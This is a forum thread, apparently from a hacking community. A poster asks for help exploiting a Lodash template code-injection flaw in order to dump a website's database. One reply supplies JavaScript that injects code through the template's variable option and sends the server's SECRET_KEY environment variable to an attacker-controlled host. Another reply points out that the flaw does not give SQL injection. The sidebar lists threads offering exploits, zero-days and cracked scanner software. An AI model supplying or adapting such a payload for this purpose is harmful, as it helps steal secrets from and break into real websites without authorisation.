[HELP WANTED] I found vulnerability but I don't know how to exploit
by tacktack - Friday November 22, 2024 at 03:10 AM
#1
Hey all I found a vulnerability in a website i want to explotit and dump the database of. 

Here is the link to the code injection on synk.io 

Code Injection in Lodash

https://security.snyk.io/vuln/SNYK-JS-LODASH-1040724

I see the proof of concept but I do not know how to run it and also I do not know how to get to the database. If anyone could help I would greatly appreciate it!
Reply
#2
(Nov 22, 2024, 05:24 AM)agraj Wrote: try this :

var _ = require('lodash');

// Exploit payload: Send sensitive data to an attacker-controlled server
const payload = _.template('', {
  variable: '){ const http = require("http"); http.get("http://malicious-server.com/?data=" + encodeURIComponent(process.env.SECRET_KEY)) }; with(obj'
})();

payload(); // Executes the payload

I am just a bit confused where I need to put it. Where do I put that code? Thanks and sorry
Reply
#3
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Code Injection via template.

Your injection vulnerability is based on JavaScript, which can only change the template and cannot implement SQL injection. You need other vulnerabilities to support it.
Reply
#4
(Nov 23, 2024, 01:25 AM)qian30090 Wrote: Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Code Injection via template.

Your injection vulnerability is based on JavaScript, which can only change the template and cannot implement SQL injection. You need other vulnerabilities to support it.

OK, thank you for making that clear
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  {SECRET} DATABASE OF EXPLOITS lulagain 432 25,317 6 hours ago
Last Post: fokfdo223
  New Zer0 Day Wordpress A3g00n 79 2,967 Yesterday, 04:09 PM
Last Post: baku
  new wordpress website takeover vuln (video + poc ) zinzeur 314 28,008 Yesterday, 03:54 PM
Last Post: baku
  Google Dorks for finding SQL injection vulnerabilities and other security issues 1yush 66 2,984 Apr 29, 2026, 08:51 PM
Last Post: Yjuddur
  Acunetix Premium Cracked v24 Full Activated A3g00n 22 1,341 Apr 29, 2026, 09:22 AM
Last Post: Usercomplex

Forum Jump:


 Users browsing this forum: 1 Guest(s)